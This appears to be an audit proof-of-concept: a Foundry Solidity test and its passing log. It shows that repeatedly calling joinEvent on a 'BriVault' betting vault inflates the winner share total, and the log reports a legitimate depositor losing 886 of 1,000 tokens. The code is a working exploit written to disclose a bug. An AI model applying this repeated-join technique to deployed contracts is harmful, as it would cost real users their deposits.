pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MultipleJoinGriefingPoC is Test {
BriVault public vault;
BriTechToken public token;
address owner = makeAddr("owner");
address legitUser = makeAddr("legitUser");
address attacker = makeAddr("attacker");
address feeAddress = makeAddr("feeAddress");
uint256 constant LEGIT_DEPOSIT = 1000e18;
uint256 constant ATTACKER_DEPOSIT = 100e18;
uint256 constant JOIN_COUNT = 100;
function setUp() public {
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
uint256 currentTime = block.timestamp;
vault = new BriVault(
IERC20(address(token)),
150,
currentTime + 1 days,
feeAddress,
1e18,
currentTime + 7 days
);
string[48] memory countries = [
"Team0", "Team1", "Team2", "Team3", "Team4", "Team5",
"", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", ""
];
vault.setCountry(countries);
token.transfer(legitUser, 10000e18);
token.transfer(attacker, 10000e18);
vm.stopPrank();
}
function test_MultipleJoinGriefingAttack() public {
console.log("=== Multiple Join Griefing Attack PoC ===");
uint256 legitFee = (LEGIT_DEPOSIT * 150) / 10000;
uint256 attackerFee = (ATTACKER_DEPOSIT * 150) / 10000;
console.log("\n--- LEGITIMATE USER DEPOSITS AND JOINS ONCE ---");
vm.startPrank(legitUser);
token.approve(address(vault), LEGIT_DEPOSIT + legitFee);
vault.deposit(LEGIT_DEPOSIT, legitUser);
uint256 legitShares = vault.balanceOf(legitUser);
console.log("Legitimate user shares:", legitShares / 1e18, "BTT");
vault.joinEvent(0);
console.log("Legitimate user joined Team0 (1 time)");
uint256 legitSharesInTeam = vault.userSharesToCountry(legitUser, 0);
console.log("Legitimate user shares for Team0:", legitSharesInTeam / 1e18);
vm.stopPrank();
console.log("\n--- ATTACKER DEPOSITS AND JOINS 100 TIMES ---");
vm.startPrank(attacker);
token.approve(address(vault), ATTACKER_DEPOSIT + attackerFee + (JOIN_COUNT * 100e18));
vault.deposit(ATTACKER_DEPOSIT, attacker);
uint256 attackerSharesBefore = vault.balanceOf(attacker);
console.log("Attacker shares:", attackerSharesBefore / 1e18, "BTT");
console.log("Attacker calls joinEvent(0) 100 times...");
for (uint256 i = 0; i < JOIN_COUNT; i++) {
vault.joinEvent(0);
}
uint256 usersAddressLength = vault.numberOfParticipants();
console.log("usersAddress array length:", usersAddressLength);
console.log("Expected: 101 (legit user 1 + attacker 100)");
uint256 attackerSharesInTeam = vault.userSharesToCountry(attacker, 0);
console.log("Attacker shares registered for Team0:", attackerSharesInTeam / 1e18);
console.log("Note: Each joinEvent overwrites, so only last join count registered");
vm.stopPrank();
console.log("\n--- TEAM 0 WINS ---");
vm.warp(block.timestamp + 8 days);
vm.prank(owner);
vault.setWinner(0);
console.log("Winner set to Team0");
console.log("\n--- CALCULATE WINNER SHARES ---");
uint256 totalWinnerShares = vault.totalWinnerShares();
console.log("totalWinnerShares (includes duplicates):", totalWinnerShares / 1e18);
console.log("\n--- PAYOUT CALCULATIONS ---");
uint256 vaultBalance = token.balanceOf(address(vault));
console.log("Vault final balance:", vaultBalance / 1e18, "tokens");
uint256 legitPayoutCalc = (legitSharesInTeam * vaultBalance) / totalWinnerShares;
uint256 attackerPayoutCalc = (attackerSharesInTeam * vaultBalance) / totalWinnerShares;
console.log("\nWithout attack:");
console.log("Legitimate payout should be: ~50%% of vault");
console.log("\nWith attack (shares duplicated):");
console.log("Legitimate payout actual: ", legitPayoutCalc / 1e18, "tokens");
console.log("Attacker payout (100 joins): ", attackerPayoutCalc / 1e18, "tokens");
console.log("\n--- WITHDRAWAL EXECUTION ---");
uint256 legitBalanceBefore = token.balanceOf(legitUser);
uint256 attackerBalanceBefore = token.balanceOf(attacker);
vm.startPrank(legitUser);
vault.withdraw();
vm.stopPrank();
vm.startPrank(attacker);
vault.withdraw();
vm.stopPrank();
uint256 legitReceived = token.balanceOf(legitUser) - legitBalanceBefore;
uint256 attackerReceived = token.balanceOf(attacker) - attackerBalanceBefore;
console.log("\n--- FUND LOSS VERIFICATION ---");
console.log("Legitimate user deposited: ", LEGIT_DEPOSIT / 1e18, "tokens");
console.log("Legitimate user received: ", legitReceived / 1e18, "tokens");
console.log("Legitimate user LOST: ", (LEGIT_DEPOSIT - legitReceived - legitFee) / 1e18, "tokens");
console.log("\nAttacker deposited: ", ATTACKER_DEPOSIT / 1e18, "tokens");
console.log("Attacker received: ", attackerReceived / 1e18, "tokens");
uint256 netAttackerDeposit = ATTACKER_DEPOSIT + attackerFee;
if (attackerReceived >= netAttackerDeposit) {
console.log("Attacker PROFIT: ", (attackerReceived - netAttackerDeposit) / 1e18, "tokens");
} else {
console.log("Attacker LOSS: ", (netAttackerDeposit - attackerReceived) / 1e18, "tokens");
}
console.log("\nROI: Attacker received", (attackerReceived * 100) / (ATTACKER_DEPOSIT + attackerFee), "% return");
assertLt(attackerReceived, legitReceived, "Attacker should receive less due to dilution");
assertLt(legitReceived, LEGIT_DEPOSIT - legitFee, "Legitimate user receives less than deposited");
}
}
forge test --via-ir --match-contract MultipleJoinGriefingPoC -vv
[⠔] Compiling...
No files changed, compilation skipped
Ran 1 test for test/MultipleJoinGriefingPoC.t.sol:MultipleJoinGriefingPoC
[PASS] test_MultipleJoinGriefingAttack() (gas: 4262988)
Logs:
=== Multiple Join Griefing Attack PoC ===
--- LEGITIMATE USER DEPOSITS AND JOINS ONCE ---
Legitimate user shares: 985 BTT
Legitimate user joined Team0 (1 time)
Legitimate user shares for Team0: 985
--- ATTACKER DEPOSITS AND JOINS 100 TIMES ---
Attacker shares: 98 BTT
Attacker calls joinEvent(0) 100 times...
usersAddress array length: 101
Expected: 101 (legit user 1 + attacker 100)
Attacker shares registered for Team0: 98
Note: Each joinEvent overwrites, so only last join count registered
--- TEAM 0 WINS ---
Winner set to Team0
--- CALCULATE WINNER SHARES ---
totalWinnerShares (includes duplicates): 10835
--- PAYOUT CALCULATIONS ---
Vault final balance: 1083 tokens
Without attack:
Legitimate payout should be: ~50% of vault
With attack (shares duplicated):
Legitimate payout actual: 98 tokens
Attacker payout (100 joins): 9 tokens
--- WITHDRAWAL EXECUTION ---
--- FUND LOSS VERIFICATION ---
Legitimate user deposited: 1000 tokens
Legitimate user received: 98 tokens
Legitimate user LOST: 886 tokens
Attacker deposited: 100 tokens
Attacker received: 9 tokens
Attacker LOSS: 91 tokens
ROI: Attacker received 9 % return
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.94ms (2.05ms CPU time)
Ran 1 test suite in 9.40ms (2.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)